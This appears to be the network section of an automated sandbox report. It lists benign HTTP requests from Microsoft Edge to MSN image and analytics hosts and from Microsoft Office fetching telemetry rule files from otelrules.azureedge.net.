Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730137417932&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e1c7ee160fc84bccb2e26f7fc786d2a1&activityId=e1c7ee160fc84bccb2e26f7fc786d2a1&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=AE5378FDF76747C3BBD015B21727F991&MUID=29FEC05542B56D820230D57343E26C2D HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
